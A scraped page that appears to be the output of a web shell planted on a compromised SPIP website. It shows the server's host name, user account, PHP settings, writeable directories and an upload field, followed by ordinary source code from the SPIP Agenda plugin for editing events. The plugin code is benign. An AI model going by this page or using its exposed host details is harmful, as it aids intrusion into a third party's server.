Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/liberlog/plugins/auto/agenda/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/liberlog/plugins/auto/agenda/action/editer_evenement.php
<?php
/**
 * Plugin Agenda 4 pour Spip 3.0
 * Licence GPL 3
 *
 * 2006-2011
 * Auteurs : cf paquet.xml
 */

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Edition d'un evenement
 * @param string $arg
 * @return array
 */
function action_editer_evenement_dist($arg = null) {
	if (is_null($arg)) {
		$securiser_action = charger_fonction('securiser_action', 'inc');
		$arg = $securiser_action();
	}

	// si id_evenement n'est pas un nombre, c'est une creation
	// mais on verifie qu'on a toutes les donnees qu'il faut.
	if (!$id_evenement = intval($arg)) {
		$id_parent = _request('id_parent');
		if (!$id_evenement = evenement_inserer($id_parent)) {
			return array(false,_L('echec'));
		}
	}

	$err = evenement_modifier($id_evenement);
	return array($id_evenement,$err);
}

/**
 * Creer un nouvel evenement
 *
 * @param int $id_article
 * @param array $set
 * @return int
 */
function evenement_inserer($id_article, $set=null) {
	include_spip('inc/autoriser');

	// support pour l'ancien format avec $id_evenement_source en second argument
	if (is_scalar($set) and intval($set)) {
		$set = array(
			'id_evenement_source' => intval($set),
		);
	}

	$champs = array();
	if ($set and is_array($set)) {
		$champs = $set;
		
		// L'article parent peut aussi être fourni dans le $set explicite, par ex lors d'une duplication complète des champs
		if (!$id_article and isset($set['id_article'])) {
			$id_article = $set['id_article'];
		}
	}
	$champs['id_article'] = intval($id_article);
	if (empty($champs['statut'])) {
		$champs['statut'] = 'prop';
	}
	
	if (!autoriser('creerevenementdans', 'article', $id_article)) {
		spip_log('agenda action formulaire article : auteur '.$GLOBALS['visiteur_session']['id_auteur']." n'a pas le droit de creer un evenement dans article $id_article", 'agenda');
		return false;
	}
	
	// Envoyer aux plugins
	$champs = pipeline(
		'pre_insertion',
		array(
			'args' => array(
				'table' => 'spip_evenements',
			),
			'data' => $champs
		)
	);

	// nouvel evenement
	$id_evenement = sql_insertq('spip_evenements', $champs);

	pipeline(
		'post_insertion',
		array(
			'args' => array(
				'table' => 'spip_evenements',
				'id_objet' => $id_evenement
			),
			'data' => $champs
		)
	);

	if (!$id_evenement) {
		spip_log("agenda action formulaire evenement : impossible d'ajouter un evenement", 'agenda');
		return false;
	}
	return $id_evenement;
}

/**
 * Modifier un evenement existant
 *
 * @param int $id_evenement
 * @param array $set
 * @param bool $propagate
 * @return bool|string
 */
function evenement_modifier($id_evenement, $set = null, $propagate=true) {

	include_spip('inc/modifier');
	include_spip('inc/filtres');
	$c = collecter_requests(
		// white list
		objet_info('evenement', 'champs_editables'),
		// black list
		array('statut', 'id_article'),
		// donnees eventuellement fournies
		$set
	);

	// Si l'evenement est publie, invalider les caches et demander sa reindexation
	$t = sql_getfetsel('statut', 'spip_evenements', 'id_evenement='.intval($id_evenement));
	$invalideur = $indexation = false;
	if ($t == 'publie') {
		$invalideur = "id='evenement/$id_evenement'";
		$indexation = true;
	}

	if ($err = objet_modifier_champs(
		'evenement',
		$id_evenement,
		array(
			'data' => $set,
			'nonvide' => array('titre' => _T('info_nouvel_evenement').' '._T('info_numero_abbreviation').$id_evenement),
			'invalideur' => $invalideur,
			'indexation' => $indexation,
		),
		$c
	)) {
		return $err;
	}

	if ($propagate) {
		if (!is_null($repetitions = _request('repetitions', $set))) {
			evenement_modifier_repetitions_filles($id_evenement, $repetitions);
		}
		else {
			evenement_modifier_repetitions_soeurs($id_evenement);
		}
	}

	// Modification de statut, changement de parent ?
	$c = collecter_requests(array('statut', 'id_parent'), array(), $set);
	$err = evenement_instituer($id_evenement, $c);

	return $err;
}

/**
 * Recupere les timestamp des repetitions
 * @param string $repetitions
 * @return array
 */
function agenda_recup_repetitions($repetitions) {
	include_spip('inc/filtres');
	$repetitions = preg_split(',[^0-9\-\/],', $repetitions);
	// gestion des repetitions
	$rep = array();
	foreach ($repetitions as $date) {
		if (strlen($date)) {
			$date = recup_date($date);
			if ($date = mktime(0, 0, 0, $date[1], $date[2], $date[0])) {
				$rep[] = $date;
			}
		}
	}
	return $rep;
}

/**
 * Propager les modifs d'un evenement a ses repetitions filles
 * @param int $id_evenement
 * @param string $repetitions
 */
function evenement_modifier_repetitions_filles($id_evenement, $repetitions = '') {
	if ($row_source = sql_fetsel('*', 'spip_evenements', 'id_evenement='.intval($id_evenement))){
		// Si ce n'est pas un événement source, on n'a rien à faire ici
		if ($row_source['id_evenement_source']!=0){
			return;
		}
		$reps = agenda_recup_repetitions($repetitions);

		// On ne garde que les données correctes pour une modification à propager
		$c = collecter_requests(
		// white list
			objet_info('evenement', 'champs_editables'),
			// black list
			array('id_evenement', 'id_evenement_source', 'modif_synchro_source'),
			// donnees fournies
			$row_source
		);

		agenda_action_update_repetitions($id_evenement, $row_source['modif_synchro_source'], $c , $reps);
	}
}

/**
 * Propager les modifs d'un evenement a ses repetitions soeurs et a sa mere
 * @param int $id_evenement
 */
function evenement_modifier_repetitions_soeurs($id_evenement) {
	if ($row = sql_fetsel('*', 'spip_evenements', 'id_evenement='.intval($id_evenement))){
		// Si ce n'est pas une repetition, on n'a rien à faire ici
		if ($row['id_evenement_source']==0){
			return;
		}
		// si on est plus synchro avec les autres, ne rien faire
		if ($row['modif_synchro_source']==0){
			return;
		}

		// On ne garde que les données correctes pour une modification à propager
		$c = collecter_requests(
		// white list
			objet_info('evenement', 'champs_editables'),
			// black list
			array('id_evenement', 'id_evenement_source', 'modif_synchro_source', 'date_debut', 'date_fin', 'horaire', 'timezone_affiche'),
			// donnees fournies
			$row
		);

		agenda_action_update_repetitions($row['id_evenement_source'], true, $c);
		$row_source = sql_fetsel('*', 'spip_evenements', 'id_evenement='.intval($row['id_evenement_source']));
		if ($row_source['modif_synchro_source']) {
			evenement_modifier($row_source['id_evenement'], $c, false);
		}
	}
}


function agenda_action_update_repetitions($id_evenement_source, $modif_flag, $set, $repetitions=null) {

	$date_debut = $date_fin = $duree = null;

	// On calcule la durée en secondes de l'événement source pour la reporter telle quelle aux répétitions
	if (isset($set['date_debut']) and isset($set['date_fin'])) {
		$date_debut = strtotime($set['date_debut']);
		$date_fin = strtotime($set['date_fin']);
		$duree = $date_fin - $date_debut;
	}
	unset($set['date_debut']);
	unset($set['date_fin']);

	$repetitions_updated = array();
	// mettre a jour toutes les repetitions *avec le flag modif_synchro_source=1* deja existantes ou les supprimer si il n'y a plus lieu
	$res = sql_select('id_evenement,date_debut,modif_synchro_source', 'spip_evenements', 'id_evenement_source='.intval($id_evenement_source));
	while ($row = sql_fetch($res)) {
		$date = strtotime(date('Y-m-d', strtotime($row['date_debut'])));
		if (is_null($repetitions) or in_array($date, $repetitions)) {
			// Cette répétition existe déjà
			$repetitions_updated[] = $date;

			// si besoin on la met a jour
			// cad si le flag modif_synchro_source vaut 1 sur l'evenement source ET destination
			if ($modif_flag and $row['modif_synchro_source']){
				if (!is_null($date_debut)) {
					// On calcule les nouvelles dates/heures en reportant la durée de la source
					$update_date_debut = date('Y-m-d', $date) . ' ' . date('H:i:s', $date_debut);
					$update_date_fin = date('Y-m-d H:i:s', strtotime($update_date_debut)+$duree);

					// Seules les dates sont changées dans les champs de la source
					$set['date_debut'] = $update_date_debut;
					$set['date_fin'] = $update_date_fin;
				}
				// mettre a jour l'evenement
				evenement_modifier($row['id_evenement'], $set, false);
			}
		} else {
			// il est supprime *si* modif_synchro_source vaut 1
			if ($row['modif_synchro_source']) {
				sql_delete('spip_evenements', 'id_evenement='.intval($row['id_evenement']));
			}
		}
	}

	if (!is_null($repetitions)) {
		// regarder les repetitions a ajouter qui sont du coup dupliquees depuis la source
		foreach ($repetitions as $date) {
			if (!in_array($date, $repetitions_updated)) {
				// On calcule les dates/heures en reportant la durée de la source
				$update_date_debut = date('Y-m-d', $date).' '.date('H:i:s', $date_debut);
				$update_date_fin = date('Y-m-d H:i:s', strtotime($update_date_debut)+$duree);

				// Seules les dates sont changées dans les champs de la source
				$set['date_debut'] = $update_date_debut;
				$set['date_fin'] = $update_date_fin;
				$set['id_evenement_source'] = $id_evenement_source;

				// On crée la nouvelle répétition
				if ($id_evenement_new = evenement_inserer($set['id_article'], $set)) {
					// Pour les créations il ne faut pas oublier de dupliquer les liens
					// En effet, sinon les documents insérés avant la création (0-id_auteur) ne seront pas dupliqués
					include_spip('action/editer_liens');
					objet_dupliquer_liens('evenement', $id_evenement_source, $id_evenement_new);
				}
				else {
					spip_log("agenda_action_update_repetitions : echec ajout repetition " . json_encode($set), "agenda" . _LOG_ERREUR);
				}
			}
		}
	}
}

/**
 * Instituer un evenement
 *
 * @param int $id_evenement
 * @param array $c
 * @return bool|string
 */
function evenement_instituer($id_evenement, $c) {

	include_spip('inc/autoriser');
	include_spip('inc/modifier');

	$row = sql_fetsel('id_article, statut', 'spip_evenements', 'id_evenement='.intval($id_evenement));
	$id_parent  = $id_parent_ancien = $row['id_article'];
	$statut = $statut_ancien = $row['statut'];
	$propager_statut_toutes_repetitions = false;

	$champs = array();

	if (!autoriser('modifier', 'article', $id_parent)
		or (isset($c['id_parent'])
		and !autoriser('modifier', 'article', $c['id_parent']))) {
		spip_log("editer_evenement $id_evenement refus " . join(' ', $c));
		return false;
	}

	// Verifier que l'article demande existe et est different
	// de l'article actuel
	if (isset($c['id_parent'])
		and $c['id_parent'] != $id_parent
		and (sql_countsel('spip_articles', 'id_article='.intval($c['id_parent'])))) {
		$id_parent = $champs['id_article'] = $c['id_parent'];
	}

	$sa = sql_getfetsel('statut', 'spip_articles', 'id_article='.intval($id_parent));
	if ($id_parent
		and (
			$id_parent !== $id_parent_ancien
			or $statut == '0'
		)) {
		switch ($sa) {
			case 'publie':
				// statut par defaut si besoin
				if ($statut == '0') {
					$champs['statut'] = $statut = 'publie';
				}
				break;
			case 'poubelle':
				// si article a la poubelle, evenement aussi
				$champs['statut'] = $statut = 'poubelle';
				$propager_statut_toutes_repetitions = true;
				break;
			default:
				// pas de publie ni 0 si article pas publie
				if (in_array($statut, array('publie','0'))) {
					$champs['statut'] = $statut = 'prop';
					$propager_statut_toutes_repetitions = true;
				}
				break;
		}
	}

	// si pas d'article lie, et statut par defaut
	// on met en propose
	if ($statut=='0') {
		$champs['statut'] = $statut = 'prop';
		$propager_statut_toutes_repetitions = true;
	}

	if (isset($c['statut'])
		and $s = $c['statut']
		and $s != $statut) {
		// Il faut spécifier le futur article parent de l'événement
		// afin de vérifier l'autorisation, car ce n'est pas forcément
		// l'article auquel l'événement est actuellement lié dans la
		// base.
		if (autoriser('instituer', 'evenement', $id_evenement, null, array('id_parent'=>$id_parent, 'statut'=>$s))) {
			$champs['statut'] = $statut = $s;
		} else {
			spip_log("editer_evenement $id_evenement refus " . join(' ', $c));
		}
	}

	// Envoyer aux plugins
	$champs = pipeline(
		'pre_edition',
		array(
			'args' => array(
				'table' => 'spip_evenements',
				'action'=>'instituer',
				'id_objet' => $id_evenement,
				'id_parent_ancien' => $id_parent_ancien,
				'statut_ancien' => $statut_ancien,
			),
			'data' => $champs
		)
	);

	if (!count($champs)) {
		return;
	}

	// Envoyer les modifs sur l'evenement et toutes ses repetitons synchro
	$ids = sql_allfetsel('id_evenement', 'spip_evenements', 'modif_synchro_source=1 and id_evenement_source='.intval($id_evenement));
	$ids = array_column($ids, 'id_evenement');
	$ids[] = intval($id_evenement);
	sql_updateq('spip_evenements', $champs, sql_in('id_evenement', $ids));

	// et les eventuelles propagations aux repetitions non synchro
	if (!empty($champs['id_article'])) {
		sql_updateq('spip_evenements', ['id_article' => $champs['id_article']], 'modif_synchro_source=0 and id_evenement_source='.intval($id_evenement));
	}
	if (!empty($champs['statut']) and $propager_statut_toutes_repetitions) {
		sql_updateq('spip_evenements', ['statut' => $champs['statut']], 'modif_synchro_source=0 and id_evenement_source='.intval($id_evenement));
	}

	// Invalider les caches
	include_spip('inc/invalideur');
	suivre_invalideur("id='id_article/$id_parent_ancien'");
	suivre_invalideur("id='id_article/$id_parent'");

	// Pipeline
	pipeline(
		'post_edition',
		array(
			'args' => array(
				'table' => 'spip_evenements',
				'action'=>'instituer',
				'id_objet' => $id_evenement,
				'id_parent_ancien' => $id_parent_ancien,
				'statut_ancien' => $statut_ancien,
			),
			'data' => $champs
		)
	);

	// Notifications
	if ($notifications = charger_fonction('notifications', 'inc')) {
		$notifications('instituerevenement', $id_evenement,
			array('id_parent' => $id_parent, 'statut' => $statut, 'id_parent_ancien' => $id_parent, 'statut_ancien' => $statut_ancien)
		);
	}

	return ''; // pas d'erreur
}

SAMX